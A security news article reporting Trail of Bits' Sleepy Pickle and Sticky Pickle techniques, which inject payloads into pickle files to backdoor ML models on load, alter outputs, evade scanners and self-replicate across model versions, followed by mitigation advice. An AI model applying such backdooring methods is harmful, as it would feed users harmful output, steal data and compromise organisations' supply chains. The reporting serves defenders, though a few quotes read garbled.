The security risks posed by the Pickle format have been brought back into the spotlight with the discovery of a new “hybrid machine learning (ML) model leveraging technique” called Sleepy Pickle.
According to Trail of Bits, this attack method weaponizes a common format used to package and distribute machine learning (ML) models to subvert the models themselves, posing serious supply chain risks to an organization's downstream customers.
“Sleepy Pickle is a novel and highly stealthy attack technique that targets the ML model itself, rather than the underlying system,” said security researcher Boyan Milanov.
Pickle is a serialization format widely used by ML libraries such as PyTorch, but it can be used to perform arbitrary code execution attacks simply by loading a pickle file (i.e., during deserialization).
“Load models from trusted users and organizations, trust their signed commits, [TensorFlow] or Jax format with the from_tf=True automatic conversion mechanism,” Hugging Face notes in its documentation.
Sleepy Pickle works by injecting a payload into a pickle file using open-source tools such as Fickling, and then delivering the payload to the target host using one of four techniques, including man-in-the-middle attacks (AitM), phishing, supply chain compromise, or exploiting system vulnerabilities.
“Once the file is deserialized on the victim's system, the payload is executed and modifies the contained models on the fly to insert a backdoor, control the output, or tamper with the processed data before returning it to the user,” Milanov said.
In other words, a payload injected into a pickle file containing a serialized ML model can be exploited to change the model's behavior by tampering with the model's weights or by tampering with the input and output data processed by the model.
In hypothetical attack scenarios, this approach could be used to generate harmful output or misinformation (e.g., drinking bleach to cure the flu) that could have devastating consequences for user safety, steal user data when certain conditions are met, or indirectly attack users by generating manipulated news article summaries containing links to phishing pages.
Trail of Bits noted that given that models are compromised when a pickle file is loaded into a Python process, threat actors could weaponize Sleepy Pickle to maintain covert access to ML systems in a way that evades detection.
This is more effective than uploading a malicious model directly to Hugging Face, as it allows us to dynamically modify the model's behavior and output without tricking the target into downloading and executing it.
“Sleepy Pickle allows attackers to create pickle files that are not ML models, but that can corrupt the local model when loaded together,” Milanov said. “The attack surface is much larger, as they can attack the model simply by controlling any pickle file in the target organization's supply chain.”
“Sleepy Pickle shows how advanced model-level attacks can exploit low-level supply chain weaknesses via connections between underlying software components and end applications.”
From Sleepy Pickles to Sticky Pickles
Sleepy Pickle is not the only attack documented by Trail of Bits: the cybersecurity firm says the attack has been improved to achieve persistence within a compromised model and ultimately evade detection, a technique it calls Sticky Pickle.
The variant “incorporates a self-replication mechanism to propagate its malicious payload to successive versions of the compromised model,” Milanov said. “Furthermore, Sticky Pickle uses obfuscation to disguise its malicious code and avoid detection by pickle file scanners.”
That way, the exploit remains persistent, even if a user chooses to modify the compromised model and redistribute it with a new pickle file that is outside the attacker's control.
To protect against Sleepy Pickle and other supply chain attacks, we recommend avoiding the use of pickle files when distributing serialized models, only using models from trusted organizations, and utilizing more secure file formats such as SafeTensors.
